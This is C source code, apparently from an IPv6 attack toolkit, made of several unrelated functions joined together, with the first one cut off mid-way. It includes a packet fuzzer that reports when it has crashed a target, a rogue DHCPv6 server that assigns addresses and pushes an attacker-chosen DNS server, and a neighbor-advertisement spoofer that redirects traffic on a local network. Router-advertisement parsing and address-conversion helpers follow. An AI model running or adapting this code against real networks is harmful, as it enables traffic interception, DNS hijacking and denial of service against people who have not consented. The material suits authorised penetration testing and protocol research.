(pkt_bak[test_pos] != bytes[test_cnt - 1]) hdr->pkt[test_pos] = bytes[test_cnt - 1]; else do_it = 0; } else { i = 0; while (i < COUNT_BYTE && do_it) { if (bytes[i] == pkt_bak[test_pos]) do_it = 0; i++; } if (do_it) hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1]; } if (test_cnt == COUNT_BYTE + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos++; } break; case 'F': if (test_cnt <= COUNT_FLAG) { if (pkt_bak[test_pos] != flags[test_cnt - 1]) hdr->pkt[test_pos] = flags[test_cnt - 1]; else do_it = 0; } else { i = 0; while (i < COUNT_FLAG && do_it) { if (bytes[i] == pkt_bak[test_pos]) // yes, bytes[] is the right one even for flags do_it = 0; i++; } if (do_it) hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1]; } if (test_cnt == COUNT_FLAG + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos++; } break; case 'W': sip = (unsigned short int *) &pkt_bak[test_pos]; if (test_cnt <= COUNT_WORD) { if (*sip != words[test_cnt - 1]) memcpy((char *) &hdr->pkt[test_pos], (char *) &words[test_cnt - 1] + _TAKE2, 2); else do_it = 0; } else { i = 0; while (i < COUNT_WORD && do_it) { if (words[i] == *sip) do_it = 0; i++; } if (do_it) { i = *sip ^ xors[test_cnt - COUNT_WORD - 1]; sip = (unsigned short int *) &hdr->pkt[test_pos]; *sip = i % 65536; } } if (test_cnt == COUNT_WORD + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos += 2; } break; default: fprintf(stderr, "This character should not be in the fuzz string, shoot the programmer: %c(%d) position %d string %s\n", fuzzbuf[test_ptr], fuzzbuf[test_ptr], test_ptr, fuzzbuf); exit(-1); break; } if (do_it && do_fuzz) { if (test_current >= test_start && test_current <= test_end && do_fuzz) { // fill icmp id+seq and unique buffer with test case number if (fragment) memcpy(hdr->pkt + frag_offset + 58, (char *) &test_current + _TAKE4, 4); switch (do_type) { case DO_NONE: // empty break; case DO_PING: for (i = 0; i < 4 + 1; i++) memcpy(hdr->pkt + offset + 58 + i * 4, (char *) &test_current + _TAKE4, 4); break; case DO_TCP: memcpy(hdr->pkt + offset + 58, (char *) &test_current + _TAKE4, 4); break; case DO_NEIGHSOL: case DO_NEIGHADV: break; // do nothing for these case DO_NODEQUERY: memcpy(hdr->pkt + offset + 66, (char *) &test_current + _TAKE4, 4); break; case DO_RA: memcpy(hdr->pkt + offset + 0x62, (char *) &test_current + _TAKE4, 4); // prefix update memcpy(hdr->pkt + offset + 0x7e, hdr->pkt + offset + 0x5e, 16); // routing update memcpy(hdr->pkt + 8, (char *) &test_current + _TAKE4, 4); // srcmac update memcpy(hdr->pkt + offset + 0x72, (char *) &test_current + _TAKE4, 4); // srcmac update memcpy(hdr->pkt + 0x10 + off2, (char *) &test_current + _TAKE4, 4); // srcip update memcpy(hdr->original_src, hdr->pkt + 8 + off2, 16); // srcip update for checksum break; case DO_MLD_QUERY: case DO_MLD_DONE: case DO_MLD_REP: case DO_MLD2_QUERY: memcpy(hdr->pkt + offset + 0x4a, (char *) &test_current + _TAKE4, 4); break; case DO_MLD2_REPORT: //??? XXX TODO CHECK memcpy(hdr->pkt + offset + 0x4d, (char *) &test_current + _TAKE4, 4); memcpy(hdr->pkt + offset + 0x4d + 68, (char *) &test_current + _TAKE4, 4); memcpy(hdr->pkt + offset + 0x4d + 136, (char *) &test_current + _TAKE4, 4); break; default: fprintf(stderr, "ERROR!!!\n"); exit(-1); } // regenerate checksum if (do_type != DO_TCP && do_type != DO_NONE) { // maybe for later non-icmp stuff hdr->pkt[offset + 56] = 0; hdr->pkt[offset + 57] = 0; i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_ICMP6, &hdr->pkt[offset + 54], hdr->pkt_len - offset - 54); hdr->pkt[offset + 56] = i / 256; hdr->pkt[offset + 57] = i % 256; } else { // TCP hdr->pkt[offset + 70] = 0; hdr->pkt[offset + 71] = 0; i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_TCP, &hdr->pkt[offset + 54], hdr->pkt_len - offset - 54); hdr->pkt[offset + 70] = i / 256; hdr->pkt[offset + 71] = i % 256; } // send packet for (k = 0; k < no_send; k++) { while(thc_send_pkt(interface, pkt, &pkt_len) < 0) usleep(1); } printf("."); usleep(250); // if ping, check ping again if ((test_current - test_start) % ping == 0 && test_current != 0 && test_start != test_current) if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) { i = ((((test_current - test_start) / ping) - 1) * ping) + test_start + 1; printf("\nResult: target %s crashed during fuzzing, offending test case no. could be %d to %d\n", argv[optind + 1], i < 0 ? 0 : i, test_current); exit(1); } } //else printf("NOT SENT - NOT IN TEST LIST\n"); // reset to basic packet memcpy(hdr->pkt, pkt_bak, hdr->pkt_len); test_current++; } //else printf("NOT SENT!\n"); } printf("\n"); // ping afterwards to check if it worked if (do_alive) { if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) { printf("Result: target %s is NOT alive via direct ping6 - good work! (position: %d)\n", argv[optind + 1], test_pos); exit(1); } else printf("Result: target %s is still alive via direct ping6, better luck next time.\n", argv[optind + 1]); } thc_pcap_close(p); return 0; }
int main(int argc, char *argv[]) { char *routerip, *interface, mac[16] = ""; char rdatabuf[1024], wdatabuf[1024], cmsgbuf[1024], mybuf[1024]; unsigned char *routerip6, *mac6 = mac, *ip6, *ptr, *ptr1, *ptr2, *ptr3; unsigned char *dns; int size, fromlen = 0, /*mtu = 1500, */ i, j, k, l, m, s, len, t, mlen, csize = 0; static struct iovec iov; struct sockaddr_storage from; struct msghdr mhdr; struct sockaddr_in6 ddst; unsigned long long int count = 0; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); if (strcmp(argv[1], "-r") == 0) { // is ignored argv++; argc--; } memset(mac, 0, sizeof(mac)); interface = argv[1]; if (thc_get_own_mac(interface) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (argc >= 6 && (ptr = argv[5]) != NULL) sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4], (unsigned int *) &mac[5]); else mac6 = thc_get_own_mac(interface); if (argc >= 5 && argv[4] != NULL) ip6 = thc_resolve6(argv[4]); else ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK); if (argc >= 4 && argv[3] != NULL) dns = thc_resolve6(argv[3]); else dns = thc_resolve6("ff02::fb"); routerip = argv[2]; if ((ptr = index(routerip, '/')) == NULL) { printf("Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. ff80::01/16\n"); exit(-1); } *ptr++ = 0; size = atoi(ptr); routerip6 = thc_resolve6(routerip); if (routerip6 == NULL || size < 1 || size > 128) { fprintf(stderr, "Error: IP-ADDRESS/PREFIXLENGTH argument is invalid: %s\n", argv[2]); exit(-1); } if (size < 64) { fprintf(stderr, "Warning: network prefix must be a minimum of /64, resizing to /64\n"); size = 64; } if (size % 8 > 0) { size = ((size / 8) + 1) * 8; fprintf(stderr, "Warning: prefix must be a multiple of 8, resizing to /%d\n", csize * 8); } csize = 8 - ((size - 64) / 8); if (dns == NULL) { fprintf(stderr, "Error: dns argument is invalid: %s\n", argv[3]); exit(-1); } if (ip6 == NULL) { fprintf(stderr, "Error: link-local-ip6 argument is invalid: %s\n", argv[4]); exit(-1); } /* if (mtu < 1 || mtu > 65536) { fprintf(stderr, "Error: mtu argument is invalid: %s\n", argv[5]); exit(-1); } if (mtu < 1228 || mtu > 1500) fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing :%d\n", mtu); */ if (mac6 == NULL) { fprintf(stderr, "Error: mac address in invalid\n"); exit(-1); } if ((s = thc_bind_udp_port(547)) < 0) { fprintf(stderr, "Error: could not bind to 547/udp\n"); exit(-1); } if (thc_bind_multicast_to_socket(s, interface, thc_resolve6("ff02::1:2")) < 0 || thc_bind_multicast_to_socket(s, interface, thc_resolve6("ff02::1:3")) < 0) { fprintf(stderr, "Error: could not bind multicast address\n"); exit(-1); } if ((t = socket(AF_INET6, SOCK_DGRAM, 0)) < 0) { perror("Error:"); exit(-1); } memset(mybuf, 0, sizeof(mybuf)); mybuf[1] = 2; mybuf[3] = 14; mybuf[5] = 1; mybuf[7] = 1; // mybuf + 8 == time memcpy(mybuf + 12, mac6, 6); mlen = 18; mybuf[mlen + 1] = 23; mybuf[mlen + 3] = 16; memcpy(mybuf + mlen + 4, dns, 16); mlen += 20; printf("Starting to fake dhcp6 server on %s for %s (Press Control-C to end) ...\n\n", interface, argv[2]); while (1) { memset((char *) &from, 0, sizeof(from)); memset(&iov, 0, sizeof(iov)); memset(&mhdr, 0, sizeof(mhdr)); iov.iov_base = rdatabuf; iov.iov_len = sizeof(rdatabuf); mhdr.msg_name = &from; mhdr.msg_namelen = sizeof(from); mhdr.msg_iov = &iov; mhdr.msg_iovlen = 1; mhdr.msg_control = (caddr_t) cmsgbuf; mhdr.msg_controllen = sizeof(cmsgbuf); if ((len = recvmsg(s, &mhdr, 0)) > 0) { fromlen = mhdr.msg_namelen; if (debug) thc_dump_data(rdatabuf, len, "Received Packet"); ddst.sin6_addr = ((struct sockaddr_in6 *) mhdr.msg_name)->sin6_addr; ptr2 = thc_ipv62notation((char *) &ddst.sin6_addr); switch (rdatabuf[0]) { case 1: ptr1 = "Solicitate"; break; case 2: ptr1 = "Advertise (illegal, ignored)"; break; case 3: ptr1 = "Request"; break; case 4: ptr1 = "Confirm"; break; case 5: ptr1 = "Renew"; break; case 6: ptr1 = "Rebind"; break; case 7: ptr1 = "Reply (illegal, ignored)"; break; case 8: ptr1 = "Release (ignored)"; break; case 9: ptr1 = "Decline (ignored)"; break; case 10: ptr1 = "Reconfigure (illegal, ignored)"; break; case 11: ptr1 = "Information Request (ignored)"; break; case 12: ptr1 = "Relay Forward (ignored)"; break; case 13: ptr1 = "Relay Reply (ignored)"; break; default: ptr1 = "Unknown (ignored)"; break; } printf("Received DHCP6 %s packet from %s\n", ptr1, ptr2); free(ptr2); if (rdatabuf[0] >= 1 && rdatabuf[0] < 7 && rdatabuf[0] != 2) { memset(wdatabuf, 0, sizeof(wdatabuf)); memcpy(wdatabuf + 1, rdatabuf + 1, 3); i = j = 4; k = -1; if (rdatabuf[0] == 1) { // initial request wdatabuf[0] = 2; while ((j + 4) < len) { l = rdatabuf[j + 2] * 256 + rdatabuf[j + 3]; if (l + j + 4 > len) { l = 0; j = len; printf("Info: received evil packet\n"); } else { if (rdatabuf[j + 1] == 1) { memcpy(wdatabuf + i, rdatabuf + j, l + 4); i += l + 4; } else if (rdatabuf[j + 1] == 3) { k = j; // just set a pointer } j += l + 4; } } // add 02, 23 j = time(NULL); memcpy(mybuf + 8, (char *) &j + _TAKE4, 4); memcpy(wdatabuf + i, mybuf, mlen); i += mlen; // now expand 3 if (k > -1 && rdatabuf[k + 3] == 12 && rdatabuf[k + 2] == 0) { // copy structure memcpy(wdatabuf + i, rdatabuf + k, 16); } else { // or create new wdatabuf[i + 1] = 3; memcpy(wdatabuf + i + 4, (char *) &j + _TAKE4, 4); // copy time as IAID } wdatabuf[i + 3] = 40; memset(wdatabuf + i + 8, 0, 8); wdatabuf[i + 10] = 0x7f; wdatabuf[i + 14] = 0xfe; i += 16; wdatabuf[i + 1] = 5; wdatabuf[i + 3] = 24; memcpy(wdatabuf + i + 4, routerip6, 16); // address count++; if (csize > 0) memcpy(wdatabuf + i + 4 + 16 - csize, (char *) &count, csize); // counter ptr3 = thc_ipv62notation(wdatabuf + i + 4); wdatabuf[i + 21] = 2; wdatabuf[i + 25] = 2; i += 28; } else { wdatabuf[0] = 7; m = 0; while ((j + 4) < len) { l = rdatabuf[j + 2] * 256 + rdatabuf[j + 3]; if (l + j + 4 > len) { l = 0; j = len; printf("Info: received evil packet\n"); } else { // just copy types 1-3 and 23 if ((rdatabuf[j + 1] >= 1 && rdatabuf[j + 1] <= 3) || rdatabuf[j + 1] == 23) { memcpy(wdatabuf + i, rdatabuf + j, l + 4); i += l + 4; if (rdatabuf[j + 1] == 23) k = 1; if (rdatabuf[j + 1] == 3) m = 1; } j += l + 4; } } if (k == -1) { memcpy(wdatabuf + i, mybuf + 18, 20); i += 20; } } len = i; if (debug) thc_dump_data(wdatabuf, len, "Reply Packet"); ddst.sin6_family = AF_INET6; ddst.sin6_port = htons(546); //ddst.sin6_addr = ((struct sockaddr_in6 *)mhdr.msg_name)->sin6_addr; ddst.sin6_scope_id = ((struct sockaddr_in6 *) mhdr.msg_name)->sin6_scope_id; if (sendto(t, wdatabuf, len, 0, (struct sockaddr *) &ddst, sizeof(ddst)) < 0) perror("Error:"); else { ptr2 = thc_ipv62notation((char *) &ddst.sin6_addr); if (wdatabuf[0] == 2) { printf("Sent DHCP6 Advertise packet to %s (offer: %s)\n", ptr2, ptr3); free(ptr3); } else if (m) printf("Sent DHCP6 Reply packet to %s (address accepted)\n", ptr2); else printf("Sent DHCP6 Reply packet to %s (did not set address)\n", ptr2); free(ptr2); } } } } /* packet structure: 1 byte = type 3 bytes = sessionid while(packet data) { 2 bytes = type 2 bytes = length in bytes of following data ... defined fixed length data ... } server listen on ff02::1:2 udp 547 client connects from linklocal port 546, ttl 1 01 = solicit 3 bytes = sessionid 6 bytes = blog (elapsed, 8) 8 bytes = 01 blob (client id + time + mac) 4 bytes = time 6 bytes = mac 16 bytes = 03 blob (want perm address) 5 + length + hostname = hostname 18 bytes = blob (vendor class, type 16) 12 bytes = blob (requested options, type 6) server sends to linklocal (respect client port), ttl 1 02 = advertise 3 bytes = sessionid (copy) 18 bytes = 01 blob (client copy of client-id) 8 bytes = 02 blob (server id + time + mac) 4 bytes = time 6 bytes = mac 0003 = give perm address 2 bytes = length 4 bytes = IAID (from client request!) 4 bytes = validity time 1 (1800) 4 bytes = validity time 2 (2880) 0005 = address structure 2 bytes = length (24 bytes) 16 bytes = address 4 bytes = validity time (3600) 4 byte = validity time (same) 0023 = dns option 2 bytes = length (16 bytes) 16 bytes = dns server address client sends to ff02::1:2 ! 03 = request 3 bytes = sessionid 6 bytes = blog (elapsed, 8) 8 bytes = 01 blob (client id + time + mac) 4 bytes = time 6 bytes = mac 18 bytes = client (again) 18 bytes = server (copy) 44 bytes = address (copy) 5 + length + hostname = hostname (again) 18 bytes = blob again (vendor class, type 16) 12 bytes = blob again (requested options, type 6) server replies 7 = reply copy original advertise packet :-) */ return 0; // never reached }
void intercept(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr = (unsigned char *) (data + 14); if (debug) { printf("DEBUG: packet received\n"); thc_dump_data((unsigned char *) data, header->caplen, "Received Packet"); } if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_NEIGHBORSOL || header->caplen < 78) return; if (*(data + 22) + *(data + 23) + *(data + 24) + *(data + 25) + *(data + 34) + *(data + 35) + *(data + 36) + *(data + 37) == 0) return; if (debug) printf("DEBUG: packet is a valid icmp6 neighbor solitication\n"); memcpy(ipv6->pkt, data + 6, 6); // copy srcmac to dstmac memcpy(ipv6->pkt + 38, data + 22, 16); // copy srcip6 to dstip6 memcpy(ipv6->pkt + 22, data + 62, 16); // copy target to srcip6 memcpy(ipv6->pkt + 62 + (do_dst * 1400) + (do_hop + do_frag) * 8, data + 62, 16); // copy target to target ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; mychecksum = checksum_pseudo_header(ipv6->pkt + 22, ipv6->pkt + 38, NXT_ICMP6, ipv6->pkt + 54 + (do_dst * 1400) + (do_hop + do_frag) * 8, 32); ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum / 256; ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum % 256; if (do_dst) thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240); else thc_send_pkt(interface, pkt, &pkt_len); ptr2 = thc_ipv62notation(ipv6->pkt + 38); ptr4 = thc_ipv62notation(ipv6->pkt + 22); printf("Spoofed packet to %s as %s\n", ptr2, ptr4); free(ptr2); free(ptr4); ipv6->pkt[pkt_len - 28] = 0xa0; // reset SOL flag, ROUTER+OVERRIDE only ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; mychecksum = checksum_pseudo_header(ipv6->pkt + 22, ipv6->pkt + 38, NXT_ICMP6, ipv6->pkt + 54 + (do_dst * 1400) + (do_hop + do_frag) * 8, 32); ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum / 256; ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum % 256; if (do_dst) thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240); else thc_send_pkt(interface, pkt, &pkt_len); if (do_reverse) { memcpy(ipv62->pkt, data + 74, 4); // create the multicast mac for the dst so we dont need to do a NS :-) memcpy(ipv62->pkt + 38, data + 62, 16); // copy target do dst6 memcpy(ipv62->pkt + 22, data + 22, 16); // copy source to source memcpy(ipv62->pkt + 62 + (do_dst * 1400) + (do_hop + do_frag) * 8, data + 22, 16); // copy source to target ipv62->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; ipv62->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; mychecksum = checksum_pseudo_header(ipv62->pkt + 22, ipv62->pkt + 38, NXT_ICMP6, ipv62->pkt + 54 + (do_dst * 1400) + (do_hop + do_frag) * 8, 32); ipv62->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum / 256; ipv62->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum % 256; if (do_dst) thc_send_as_fragment6(interface, ipv62->pkt + 22, ipv62->pkt + 38, ptype, ipv62->pkt + 40 + 14, ipv62->pkt_len - 40 - 14, 1240); else thc_send_pkt(interface, pkt2, &pkt2_len); ptr2 = thc_ipv62notation(ipv62->pkt + 38); ptr4 = thc_ipv62notation(ipv62->pkt + 22); printf("Spoofed packet to %s as %s\n", ptr2, ptr4); free(ptr2); free(ptr4); } if ((pp[pp_cnt] = fork()) == 0) { usleep(200); debug = 0; if (do_dst) { thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240); thc_send_as_fragment6(interface, ipv62->pkt + 22, ipv62->pkt + 38, ptype, ipv62->pkt + 40 + 14, ipv62->pkt_len - 40 - 14, 1240); } else { thc_send_pkt(interface, pkt, &pkt_len); if (do_reverse) thc_send_pkt(interface, pkt2, &pkt2_len); } sleep(1); if (do_loop == 1) { signal(SIGTERM, exit); signal(SIGSEGV, exit); signal(SIGHUP, exit); signal(SIGINT, exit); while (1) { sleep(5); if (do_dst) { thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240); thc_send_as_fragment6(interface, ipv62->pkt + 22, ipv62->pkt + 38, ptype, ipv62->pkt + 40 + 14, ipv62->pkt_len - 40 - 14, 1240); } else { thc_send_pkt(interface, pkt, &pkt_len); if (do_reverse) thc_send_pkt(interface, pkt2, &pkt2_len); } } } exit(0); } else if (do_loop == 1 && pp[pp_cnt] != -1) { if (pp_cnt < 65534) pp_cnt++; else do_loop = 2; } ipv6->pkt[56] = 0; ipv6->pkt[57] = 0; ipv6->pkt[pkt_len - 28] = 0x60; // set SOL flag again (void) wait3(NULL, WNOHANG, NULL); return; }
void dump_ra_reply(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr = (unsigned char *) (data + 14), *ptr, *ptr2, tmpbuf[16]; int i, k, len = header->caplen - 14; if (do_hdr_size > 0) { ipv6hdr = (unsigned char *) (data + do_hdr_size); len -= (do_hdr_size - 14); if ((ipv6hdr[0] & 240) != 0x60) return; } if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_ROUTERADV || len < 40 + 16) return; if (seen > 0) { for (i = 0; i < seen_cnt; i++) if (memcmp(seen[i], ipv6hdr + 8, 16) == 0) return; } if (seen_cnt <= MAX_SEEN) memcpy(seen[seen_cnt++], ipv6hdr + 8, 16); printf("Router: %s (MAC: %02x:%02x:%02x:%02x:%02x:%02x)\n", thc_ipv62notation(ipv6hdr + 8), data[6], data[7], data[8], data[9], data[10], data[11]); printf(" Priority: "); i = ipv6hdr[45] & 24; switch (i) { case 0: printf("medium\n"); break; case 8: printf("high\n"); break; case 16: printf("reserved value\n"); break; case 24: printf("low\n"); break; } printf(" Hop Count: %d\n", ipv6hdr[44]); printf(" Lifetime: %d, Reachable: %u, Retrans: %u\n", (ipv6hdr[46] << 8) + ipv6hdr[47], (ipv6hdr[48] << 24) + (ipv6hdr[49] << 16) + (ipv6hdr[50] << 8) + ipv6hdr[51], (ipv6hdr[52] << 24) + (ipv6hdr[53] << 16) + (ipv6hdr[54] << 8) + ipv6hdr[55]); printf(" Flags: "); if ((ipv6hdr[45] & 128) > 0) printf("managed "); else printf("NOTmanaged "); if ((ipv6hdr[45] & 64) > 0) printf("other "); else printf("NOTother "); if ((ipv6hdr[45] & 32) > 0) printf("home-agent "); else printf("NOThome-agent "); if ((ipv6hdr[45] & 4) > 0) printf("proxied "); else printf("NOTproxied "); if ((ipv6hdr[45] & 2) > 0) printf("RESERVED-2-BIT-SET "); if ((ipv6hdr[45] & 1) > 0) printf("RESERVED-1-BIT-SET"); printf("\n"); i = len - 56; ptr = ipv6hdr + 56; printf(" Options:\n"); while (i > 0) { if (i < 8 || ptr[1] * 8 > i || ptr[1] == 0) { printf("Packet truncated!\n\n"); return; } // (ptr[] << 24) + (ptr[] << 16) + (ptr[] << 8) + ptr[] switch (*ptr) { case 1: printf(" MAC: %02x:%02x:%02x:%02x:%02x:%02x\n", ptr[2], ptr[3], ptr[4], ptr[5], ptr[6], ptr[7]); break; case 3: if (ptr[1] != 4) printf(" Prefix: illegal\n"); else { printf(" Prefix: %s/%d (Valid: %u, Preferred: %u)\n", thc_ipv62notation(ptr + 16), ptr[2], (ptr[4] << 24) + (ptr[5] << 16) + (ptr[6] << 8) + ptr[7], (ptr[8] << 24) + (ptr[9] << 16) + (ptr[10] << 8) + ptr[11]); printf(" Flags:"); if ((ptr[3] & 128) > 0) printf(" On-Link"); else printf(" NOT-on-link"); if ((ptr[3] & 64) > 0) printf(" Autoconfig"); else printf(" NOT-autoconfig"); if ((ptr[3] & 63) > 0) printf(" RESERVED-BITS-SET-%d", ptr[3] & 63); printf("\n"); } break; case 5: printf(" MTU: %d\n", (ptr[4] << 24) + (ptr[5] << 16) + (ptr[6] << 8) + ptr[7]); break; case 24: if (ptr[1] != 3 && ptr[1] != 2) printf(" Route: illegal\n"); else { memset(tmpbuf, 0, sizeof(tmpbuf)); memcpy(tmpbuf, ptr + 8, 8); printf(" Route: %s/%d (Lifetime: %u)\n", thc_ipv62notation(tmpbuf), ptr[2], (ptr[4] << 24) + (ptr[5] << 16) + (ptr[6] << 8) + ptr[7]); printf(" Priority:"); k = ptr[3] & 24; switch (k) { case 0: printf("medium\n"); break; case 8: printf("high\n"); break; case 16: printf("reserved value\n"); break; case 24: printf("low\n"); break; } } break; case 31: ptr2 = ptr + 9; while (*ptr2 != 0) { if (*ptr2 < 32 && *ptr2 > 0) *ptr2 = '.'; ptr2++; } printf(" DNS Searchlist: %s (Lifetime: %u)\n", ptr + 9, (ptr[4] << 24) + (ptr[5] << 16) + (ptr[6] << 8) + ptr[7]); break; case 25: if (ptr[1] != 3) printf(" DNS: illegal\n"); else { printf(" DNS: %s (Lifetime: %u/%u)\n", thc_ipv62notation(ptr + 8), (ptr[4] << 24) + (ptr[5] << 16) + (ptr[6] << 8) + ptr[7], (ptr[8] << 24) + (ptr[9] << 16) + (ptr[10] << 8) + ptr[11]); } break; default: printf(" Unknown Option Type: %d (size: %d bytes)\n", ptr[0], ptr[1] * 8); } i -= ptr[1] * 8; ptr += ptr[1] * 8; } printf("\n"); }
int main(int argc, char *argv[]) { unsigned char *ptr, *dst6, ipv4[16] = "", ipv6[40], *prefix; int i, j, k, found = 0; struct in_addr in; if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if ((dst6 = index(argv[1], '/')) != NULL) *dst6 = 0; if ((dst6 = thc_resolve6(argv[1])) != NULL) { // ipv6 address if (dst6[11] == 0xff && dst6[12] == 0xfe) { // EUI-64 encoding of mac printf("%02x:%02x:%02x:%02x:%02x:%02x\n", (dst6[8] ^ 2), dst6[9], dst6[10], dst6[13], dst6[14], dst6[15]); return 1; } if (dst6[8] + dst6[10] + dst6[12] + dst6[14] == 0 && dst6[9] != 0) { // hexdecimal ipv4 j = 0; for (i = 0; i < 4; i++) if (dst6[9 + i*2] > 9) j++; if (j > 0) { sprintf(ipv4, "%d.%d.%d.%d", dst6[9], dst6[11], dst6[13], dst6[15]); if (inet_aton(ipv4, &in) != 0) { printf("%s\n", ipv4); found++; } } } if (dst6[8] + dst6[9] + dst6[10] + dst6[11] == 0 && dst6[12] != 0) { // hexdecimal ipv4 #2 sprintf(ipv4, "%d.%d.%d.%d", dst6[12], dst6[13], dst6[14], dst6[15]); if (inet_aton(ipv4, &in) != 0) { printf("%s\n", ipv4); found++; } } // now try for decimal ipv4 encoding memset(dst6, 0, 8); ptr = thc_ipv62notation(dst6); ptr += 2; j = 0; for (i = 0; i < strlen(ptr); i++) if (ptr[i] > ':') j++; else if (ptr[i] == ':') ptr[i] = '.'; if (j == 0 && inet_aton(ptr, &in) != 0) { j = 0; for (i = 0; i < strlen(ptr); i++) if (ptr[i] == '.') j++; if (j == 3) { printf("%s\n", ptr); found++; } } if (found > 0) return found; fprintf(stderr, "Error: the ipv6 address does not contain a mac or encoded ipv4 address\n"); return -1; } // now check for a prefix argument if (argc == 3) { if ((ptr = index(argv[2], '/')) != NULL) *ptr = 0; if ((prefix = thc_resolve6(argv[2])) == NULL) { fprintf(stderr, "Error: invalid prefix: %s\n", argv[2]); return -1; } } else prefix = thc_resolve6("fe80::"); if (index(argv[1], '.') != NULL) { // ipv4 to ipv6 ptr = argv[1]; for (i = 0; i < 4; i++) { if ((dst6 = index(ptr, '.')) != NULL) *dst6 = 0; ipv4[i] = atoi(ptr); if ((i < 3 && dst6 == NULL) || (i == 3 && dst6 != NULL)) { i = 3; ipv4[0] = 0; } else if (dst6 != NULL) ptr = dst6 + 1; } j = 0; k = 0; for (i = 0; i < 4; i++) { if (ipv4[i] > 255) j++; if (ipv4[i] > 9) k = 1; } if (j == 0 && ipv4[0] != 0) { // from here we know its a valid ipv4 address memcpy(ipv6, prefix, 8); memset(ipv6 + 8, 0, 8); for (i = 0; i < 4; i++) ipv6[9 + i*2] = ipv4[i]; printf("%s\n", thc_ipv62notation(ipv6)); // hex representation #1 memset(ipv6 + 8, 0, 4); memcpy(ipv6 + 12, ipv4, 4); printf("%s\n", thc_ipv62notation(ipv6)); // hex representation #2 memset(ipv6 + 8, 0, 7); ipv6[15] = ipv4[3]; printf("%s\n", thc_ipv62notation(ipv6)); // hex representation #3 if (k) { // do we need decimal representation too, or would it be a double? sprintf(ipv6, "::%d:%d:%d:%d", ipv4[0], ipv4[1], ipv4[2], ipv4[3]); dst6 = thc_resolve6(ipv6); memcpy(dst6, prefix, 8); printf("%s\n", thc_ipv62notation(dst6)); } if (ipv4[3] < 10) return (3 + k); else { // 2nd decimal representation sprintf(ipv6, "::%d", ipv4[3]); dst6 = thc_resolve6(ipv6); memcpy(dst6, prefix, 8); printf("%s\n", thc_ipv62notation(dst6)); return (4 + k); } } } if (index(argv[1], ':') != NULL) { // mac to ipv6 sscanf(argv[1], "%x:%x:%x:%x:%x:%x", (unsigned int *) &k, (unsigned int *) &ipv6[9], (unsigned int *) &ipv6[10], (unsigned int *) &ipv6[13], (unsigned int *) &ipv6[14], (unsigned int *) &ipv6[15]); memcpy(ipv6, prefix, 8); ipv6[8] = (k ^ 2); ipv6[11] = 0xff; ipv6[12] = 0xfe; printf("%s\n", thc_ipv62notation(ipv6)); return 1; } fprintf(stderr, "Error: neither a valid mac, ipv4 or ipv6 address\n"); return -1; }
